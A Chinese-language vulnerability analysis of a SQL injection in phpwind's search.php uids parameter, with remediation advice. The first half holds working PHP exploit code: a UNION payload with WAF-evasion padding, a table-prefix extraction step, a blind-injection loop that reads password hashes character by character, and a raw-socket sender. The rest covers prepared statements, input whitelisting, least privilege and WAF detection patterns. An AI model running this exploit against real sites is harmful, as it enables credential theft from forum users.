本文僅供安全研究人員、白帽駭客、開發者理解漏洞原理、驗證修復方案之用。 未經授權對目標系統進行掃描、利用、數據竊取均屬違法行為(中國《刑法》第 285、286 條;《網絡安全法》第 27、29 條)。請嚴格遵守《網絡安全從業人員職業道德規範》,在授權範圍內開展滲透測試或漏洞驗證。
search.php 參數處理不當,導致 uids 參數未經過濾拼接進 SQL$path = "/search.php";
$cmd = "step=3&pwuser=" . $temp . "loveshell&uids=-1" . $sql . "/*j&184288238=kkkk&276791066=jjjjjj";
uids=-1:確保原查詢無結果,使 UNION SELECT 結果成為唯一輸出$sql:攻擊者控制的注入載荷,經 urlencode() 編碼/*j:MySQL 註釋符,截斷後續原始 SQL,避免語法錯誤184288238=kkkk...:干擾 WAF/日誌分析preg_match('/FROM (.+)threads/ie', $response, $match);
$pre = $match[1]; // 如 pw_
利用報錯回顯或 UNION 查詢 information_schema.tables 獲取表前綴,後續構造精確查詢。
for ($i=0; $i<16; $i++) { // MD5 雜湊 32 位,這裡只取前 16 位演示
$sub = $i + 9; // password 字段第 9 位開始
// 1. 判斷字符範圍:數字 0-9 (ASCII 48-57)
$sql = " union select $tid from {$pre}members where uid=$uid and ord(mid(password,$sub,1)) between 48 and 57";
// 2. 二分/遍歷確定具體字符
for ($m=48; $m<=57; $m++) {
$sql = " ... ord(mid(password,$sub,1))=$m";
if (!strpos(send($cmd), $mask)) { echo chr($m); break; }
}
// 3. 字母 a-f (ASCII 97-102) 同理
}
mid(password,$sub,1):截取密碼雜湊第 $sub 位字符ord(...):取 ASCII 碼,轉為數值比較$mask = "沒有查找匹配的內容":頁面特徵字串,作為盲注判斷依據(True/False)send():原始 Socket 發送 HTTP POST,繞過 PHP 流封裝,模擬真實瀏覽器function send($cmd) {
global $path, $server, $cookie, $useragent;
$msg = "POST $path? HTTP/1.1\r\n"
. "Host: $server\r\n"
. "Cookie: $cookie\r\n"
. "User-Agent: $useragent\r\n"
. "Content-Type: application/x-www-form-urlencoded\r\n"
. "Content-Length: " . strlen($cmd) . "\r\n"
. "Connection: Keep-Alive\r\n\r\n"
. $cmd . "\r\n";
$fd = fsockopen($server, 80);
fputs($fd, $msg);
$resp = '';
while (!feof($fd)) $resp .= fread($fd, 1024);
fclose($fd);
return $resp;
}
// phpwind search.php 簡化邏輯
$uids = $_POST['uids']; // 直接接收,無過濾
$sql = "SELECT ... FROM {$pre}threads WHERE uid IN ($uids) ..."; // 直接拼接
$query = $db->query($sql);
根因:用戶輸入直接拼接進 SQL 字符串,且未使用預處理/參數綁定,未做類型強制轉換(intval)、未做白名單校驗。
$uidsArr = array_map('intval', explode(',', $_POST['uids']));
$placeholders = implode(',', array_fill(0, count($uidsArr), '?'));
$sql = "SELECT ... FROM {$pre}threads WHERE uid IN ($placeholders)";
$stmt = $db->prepare($sql);
$stmt->execute($uidsArr);
$uids = $_POST['uids'];
if (!preg_match('/^(\d+,)*\d+$/', $uids)) exit('參數非法');
DROP、CREATE、FILE、PROCESS 權限LOAD DATA INFILE、INTO OUTFILEUNION\s+SELECT、ORD\(MID\(、/\*.*\*/ 等特徵// php.ini
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
composer audit 檢測已知漏洞| 檢查項 | 合格標準 |
|---|---|
| 所有 SQL 是否使用預處理 | 100% 參數化,零拼接 |
| 輸入驗證是否在控制器層統一 | 白名單/類型/長度/格式 |
| 錯誤回顯是否關閉 | 生產環境無 SQL 錯誤輸出 |
| 資料庫賬號權限是否最小化 | 無 FILE/ADMIN 權限 |
| 敏感操作是否有 CSRF Token | 所有 POST/PUT/DELETE |
| 日誌是否記錄失敗 SQL/參數 | 便於事後審計 |
此漏洞是經典「拼接 SQL + 無過濾 + 回顯/盲注」教科書案例。現代框架(Laravel Eloquent、ThinkPHP ORM、PDO)均默認參數化,從語言層面消滅此類漏洞。對於存量舊代碼,請執行全量掃描 → 逐個修復 → 回歸測試 → 上線驗證。安全無小事,參數化查詢是底線。